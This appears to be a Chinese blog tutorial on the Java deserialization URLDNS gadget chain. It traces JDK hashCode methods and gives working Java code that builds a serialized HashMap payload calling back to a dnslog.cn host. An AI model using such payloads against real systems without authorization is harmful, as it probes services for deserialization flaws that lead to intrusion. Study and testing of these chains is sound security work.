Java反序列化-URLDNS链
作用
URLDNS链通常用来验证是否存在反序列化
复现
该链主要是通过URL类中的hashCode方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
有调用了handler的hashCode
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
调用了getHostAddress() 查看api 获取主机的IP地址 这里就回去请求DNS
所以需要找到一个可以调用URL的hashCode方法的入口
这里用到了HashMap类 HashMap中有一个put方法
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
调用了hash方法 跟进
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这里回调用key的hashCode 我们传入key为url的对象 就调用url的hashcode 就连着上边的链了 写个demo 利用DNSLOG 序列化
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);
}
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashmap = new HashMap<>();
URL url = new URL("http://knkf5n.dnslog.cn");
Class c = url.getClass();
Field hashcodeField = c.getDeclaredField("hashCode");
hashcodeField.setAccessible(true);
hashcodeField.set(url,123);
hashmap.put(url,1);
hashcodeField.set(url,-1);
serialize(hashmap);
}
}
上边使用反射先将url的hashCode的值设置为123是因为 在序列化的时候 会调用hashCode方法 让hashCode的值不为-1可以让 在序列化的时候不触发DNS请求 以防误判 反序列化
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj =ois.readObject();
}
}
接收到请求 完整链
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
Java反序列化-URLDNS链
http://example.com/2021/09/12/OldBlog/java反序列化-urldns链/